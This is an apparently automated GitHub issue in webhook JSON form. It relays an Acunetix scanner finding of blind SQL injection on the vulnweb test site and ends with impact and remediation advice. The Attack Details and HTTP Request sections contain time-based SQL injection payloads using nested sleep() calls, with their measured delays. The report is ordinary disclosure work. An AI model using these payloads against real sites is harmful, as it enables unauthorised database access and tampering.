{"action":"opened","issue":{"url":"https://api.github.com/repos/nick5/Project-1/issues/6","repository_url":"https://api.github.com/repos/nick5/Project-1","labels_url":"https://api.github.com/repos/nick5/Project-1/issues/6/labels{/name}","comments_url":"https://api.github.com/repos/nick5/Project-1/issues/6/comments","events_url":"https://api.github.com/repos/nick5/Project-1/issues/6/events","html_url":"https://github.com/nick5/Project-1/issues/6","id":392526476,"node_id":"MDU6SXNzdWUzOTI1MjY0NzY=","number":6,"title":"Acunetix - Blind SQL Injection","user":{"login":"nick5","id":12523616,"node_id":"MDQ6VXNlcjEyNTIzNjE2","avatar_url":"https://avatars0.githubusercontent.com/u/12523616?v=4","gravatar_id":"","url":"https://api.github.com/users/nick5","html_url":"https://github.com/nick5","followers_url":"https://api.github.com/users/nick5/followers","following_url":"https://api.github.com/users/nick5/following{/other_user}","gists_url":"https://api.github.com/users/nick5/gists{/gist_id}","starred_url":"https://api.github.com/users/nick5/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nick5/subscriptions","organizations_url":"https://api.github.com/users/nick5/orgs","repos_url":"https://api.github.com/users/nick5/repos","events_url":"https://api.github.com/users/nick5/events{/privacy}","received_events_url":"https://api.github.com/users/nick5/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-12-19T10:08:24Z","updated_at":"2018-12-19T10:08:24Z","closed_at":null,"author_association":"OWNER","body":"| **Target URL** | http://testphp.vulnweb.com|\n------------ | -------------\n| **Severity**   | High|\n\n##### Vulnerability Description\nSQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.\n\n##### Attack Details\nURL encoded GET input **test** was set to **(select(0)from(select(sleep(0)))v)/*&#x27;+(select(0)from(select(sleep(0)))v)+&#x27;&quot;+(select(0)from(select(sleep(0)))v)+&quot;*/**\n\n Tests performed:  \n     + (select(0)from(select(sleep(3)))v)/*&#x27;+(select(0)from(select(sleep(3)))v)+&#x27;&quot;+(select(0)from(select(sleep(3)))v)+&quot;*/ =&gt; **3.244**     + (select(0)from(select(sleep(9)))v)/*&#x27;+(select(0)from(select(sleep(9)))v)+&#x27;&quot;+(select(0)from(select(sleep(9)))v)+&quot;*/ =&gt; **9.201**     + (select(0)from(select(sleep(6)))v)/*&#x27;+(select(0)from(select(sleep(6)))v)+&#x27;&quot;+(select(0)from(select(sleep(6)))v)+&quot;*/ =&gt; **6.2**     + (select(0)from(select(sleep(0)))v)/*&#x27;+(select(0)from(select(sleep(0)))v)+&#x27;&quot;+(select(0)from(select(sleep(0)))v)+&quot;*/ =&gt; **0.199**     + (select(0)from(select(sleep(0)))v)/*&#x27;+(select(0)from(select(sleep(0)))v)+&#x27;&quot;+(select(0)from(select(sleep(0)))v)+&quot;*/ =&gt; **0.24**     + (select(0)from(select(sleep(0)))v)/*&#x27;+(select(0)from(select(sleep(0)))v)+&#x27;&quot;+(select(0)from(select(sleep(0)))v)+&quot;*/ =&gt; **0.232**     + (select(0)from(select(sleep(0)))v)/*&#x27;+(select(0)from(select(sleep(0)))v)+&#x27;&quot;+(select(0)from(select(sleep(0)))v)+&quot;*/ =&gt; **0.236**     + (select(0)from(select(sleep(6)))v)/*&#x27;+(select(0)from(select(sleep(6)))v)+&#x27;&quot;+(select(0)from(select(sleep(6)))v)+&quot;*/ =&gt; **6.24**     + (select(0)from(select(sleep(0)))v)/*&#x27;+(select(0)from(select(sleep(0)))v)+&#x27;&quot;+(select(0)from(select(sleep(0)))v)+&quot;*/ =&gt; **0.199**  \n \n\nOriginal value: **query**\n\n##### HTTP Request\n\tPOST /search.php?test=(select(0)from(select(sleep(0)))v)/*'%2B(select(0)from(select(sleep(0)))v)%2B'\"%2B(select(0)from(select(sleep(0)))v)%2B\"*/ HTTP/1.1\r\n\tContent-Type: application/x-www-form-urlencoded\r\n\tX-Requested-With: XMLHttpRequest\r\n\tReferer: http://testphp.vulnweb.com/\r\n\tConnection: keep-alive\r\n\tAuthorization: Basic YW5vbnltb3VzOmFub255bW91cw==\r\n\tAccept: */*\r\n\tAccept-Encoding: gzip,deflate\r\n\tContent-Length: 25\r\n\tHost: testphp.vulnweb.com\r\n\tUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21\r\n\t\r\n\tgoButton=go&searchFor=the\n\n##### Impact\nAn attacker can use SQL injection it to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. SQLi can also be used to add, modify and delete records in a database, affecting data integrity. Under the right circumstances, SQLi can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further.\n\n##### Remediation\nUse parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.\n\n----\n\n##### References:\n[SQL Injection (SQLi) - Acunetix](https://www.acunetix.com/websitesecurity/sql-injection/)\n[Types of SQL Injection (SQLi) - Acunetix](https://www.acunetix.com/websitesecurity/sql-injection2/)\n[Prevent SQL injection vulnerabilities in PHP applications and fix them - Acunetix](prevent-sql-injection-vulnerabilities-in-php-applications/)\n[SQL Injection - OWASP](https://www.owasp.org/index.php/SQL_Injection)\n[Bobby Tables: A guide to preventing SQL injection](http://bobby-tables.com/)\n\n"}}
{"actor":{"display_login":"nick5"}}